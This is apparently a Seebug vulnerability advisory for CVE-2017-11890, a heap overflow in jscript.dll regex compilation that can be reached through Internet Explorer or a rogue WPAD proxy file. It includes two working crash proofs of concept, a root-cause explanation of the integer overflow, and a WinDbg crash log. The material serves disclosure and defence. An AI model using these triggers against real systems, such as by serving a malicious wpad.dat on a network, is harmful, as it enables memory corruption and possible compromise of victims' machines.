Windows: Heap overflow in jscript!RegExpComp::Compile through IE or local network via WPAD(CVE-2017-11890)

2017-12-20T00:00:00
ID SSV:97004
Type seebug
Reporter Root
Modified 2017-12-20T00:00:00

Description

There is a heap overflow in jscript.dll when compiling a regex. This issue could potentially be exploited through multiple vectors:

  • An attacker on the local network could exploit this issue by posing as a WPAD (Web Proxy Auto-Discovery) host and sending a malicious wpad.dat file to the victim. This works because wpad.dat files are JavaScript files interpreted with jscript.dll on the WPAD client. Note that, in this case, an attacker who successfully exploited the vulnerability would gain the same privileges as the WinHTTP Web Proxy Auto-Discovery Service.

  • The issue can also be exploited by opening a malicious web page in Internet Explorer. In this case, due to the sizes involved, a 64-bit tab process would most likely be required to trigger the issue. This is going to be the case for example when running IE in the Enhanced Protected Mode.

The issue has been verified on 64-bit Win7 and 64-bit Win10 with the most recent patches applied.

PoC for Internet Explorer: ``` <!-- saved from url=(0014)about:internet --> <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=8"></meta> </head> <body> <script language="Jscript.Encode">

var s = 'a'; for(var i=0;i<28;i++) { s = s+s; } s = s+'[a-z]'+s;

r = new RegExp(); r.compile(s);

</script> </body> </html> ```

PoC for WPAD: ``` function FindProxyForURL(url, host) {

var s = 'a'; for(var i=0;i<28;i++) { s = s+s; } s = s+'[a-z]'+s;

r = new RegExp(); r.compile(s);

return "DIRECT"; } ```

Technical details:

The issue is in RegExpComp::Compile (and several functions called from RegExpComp::Compile). RegExpComp::Compile is responsible for compiling a RegExp object. It maintains a buffer with the compilation result and extends it when necessary. Extending the buffer is handled using RegExpBase::EnsureSpace which looks (approximately) like: void RegExpBase::EnsureSpace(int desired_size) { if(desired_size &gt; buffer_size) { if(2 * desired_size &lt; desired_size) { //throw an exception } int new_size = 2 * desired_size; char * new_buffer = realloc(buffer, new_size); if(!new_buffer) { //throw an exception } buffer = new_buffer; buffer_size = new_size; } } Note that desired_size is a signed 32-bit integer. RegExpBase::EnsureSpace has an integer overflow check, however if an overflow happens in the caller (a caller must add the size which it wants to append to the existing content size) and desired_size becomes negative, RegExpBase::EnsureSpace would simply return because of the first if() statement without attempting to extend the buffer.

Indeed, integer overflows can happen in the several callers of RegExpBase::EnsureSpace. The one being triggered in the PoC is in RegExpComp::Compile, when it attempts to append the raw input string to the buffer towards the end of the compilation process.

Debug log (from IE, but it looks similar in the WPAD service): `` (b90.698): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. msvcrt!memcpy+0x1d9: 000007fefefe123d 668901 mov word ptr [rcx],ax ds:00000002`5bb60fe0=????

0:012> r rax=0000000040000061 rbx=00000000042b7ea0 rcx=000000025bb60fe0 rdx=fffffffdfa4b0010 rsi=00000000042b5f48 rdi=000000004000000a rip=000007fefefe123d rsp=0000000012399ef8 rbp=0000000012399f28 r8=0000000040000008 r9=0000000000000000 r10=6100610061006100 r11=000000021bb60fd8 r12=0000000016010fe8 r13=000007feebc91670 r14=0000000020000001 r15=0000000000000000 iopl=0 nv up ei pl nz na pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 msvcrt!memcpy+0x1d9: 000007fefefe123d 668901 mov word ptr [rcx],ax ds:000000025bb60fe0=????

0:012> k # Child-SP RetAddr Call Site 00 0000000012399ef8 000007feebc88bb3 msvcrt!memcpy+0x1d9 01 0000000012399f00 000007feebcfacc2 jscript!RegExpComp::Compile+0x1b7 02 0000000012399f60 000007feebce2118 jscript!RegExpComp::CompileDynamic+0x62 03 0000000012399fa0 000007feebce3310 jscript!RegExpObj::Compile+0x32c 04 000000001239a0f0 000007feebc7c2ec jscript!JsRegExpCompile+0x70 05 000000001239a140 000007feebc7a9fe jscript!NatFncObj::Call+0x138 06 000000001239a1f0 000007feebc7b234 jscript!NameTbl::InvokeInternal+0x3f8 07 000000001239a310 000007feebc79852 jscript!VAR::InvokeByName+0x81c 08 000000001239a520 000007feebc79929 jscript!VAR::InvokeDispName+0x72 09 000000001239a5a0 000007feebc724b8 jscript!VAR::InvokeByDispID+0x1229 0a 000000001239a5f0 000007feebc78ec2 jscript!CScriptRuntime::Run+0x5a6 0b 000000001239b3f0 000007feebc78d2b jscript!ScrFncObj::CallWithFrameOnStack+0x162 0c 000000001239b600 000007feebc78b95 jscript!ScrFncObj::Call+0xb7 0d 000000001239b6a0 000007feebc7e6c0 jscript!CSession::Execute+0x19e 0e 000000001239b770 000007feebc870e7 jscript!COleScript::ExecutePendingScripts+0x17a 0f 000000001239b840 000007feebc868d6 jscript!COleScript::ParseScriptTextCore+0x267 10 000000001239b930 000007feecdf5251 jscript!COleScript::ParseScriptText+0x56 11 000000001239b990 000007feed57b320 MSHTML!CActiveScriptHolder::ParseScriptText+0xc1 12 000000001239ba10 000007feecdf6256 MSHTML!CScriptCollection::ParseScriptText+0x37f 13 000000001239baf0 000007feecdf5c8e MSHTML!CScriptData::CommitCode+0x3d9 14 000000001239bcc0 000007feecdf5a11 MSHTML!CScriptData::Execute+0x283 15 000000001239bd80 000007feed5b46fb MSHTML!CHtmScriptParseCtx::Execute+0x101 16 000000001239bdc0 000007feece98a5b MSHTML!CHtmParseBase::Execute+0x235 17 000000001239be60 000007feecd72e39 MSHTML!CHtmPost::Broadcast+0x90 18 000000001239bea0 000007feecdccaef MSHTML!CHtmPost::Exec+0x4bb 19 000000001239c0b0 000007feecdcca40 MSHTML!CHtmPost::Run+0x3f 1a 000000001239c0e0 000007feecdcda12 MSHTML!PostManExecute+0x70 1b 000000001239c160 000007feecdd0843 MSHTML!PostManResume+0xa1 1c 000000001239c1a0 000007feecdb6fc7 MSHTML!CHtmPost::OnDwnChanCallback+0x43 1d 000000001239c1f0 000007feed5e4f78 MSHTML!CDwnChan::OnMethodCall+0x41 1e 000000001239c220 000007feeccd9d75 MSHTML!GlobalWndOnMethodCall+0x240 1f 000000001239c2c0 0000000077229bbd MSHTML!GlobalWndProc+0x150 20 000000001239c340 00000000772298c2 USER32!UserCallWinProcCheckWow+0x1ad 21 000000001239c400 000007fef29d4a87 USER32!DispatchMessageWorker+0x3b5 22 000000001239c480 000007fef29dbabb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555 23 000000001239f700 000007fefd73572f IEFRAME!LCIETab_ThreadProc+0x3a3 24 000000001239f830 000007feee62925f iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f 25 000000001239f860 00000000773259cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f 26 000000001239f8b0 000000007745a561 kernel32!BaseThreadInitThunk+0xd 27 000000001239f8e0 0000000000000000 ntdll!RtlUserThreadStart+0x1d ```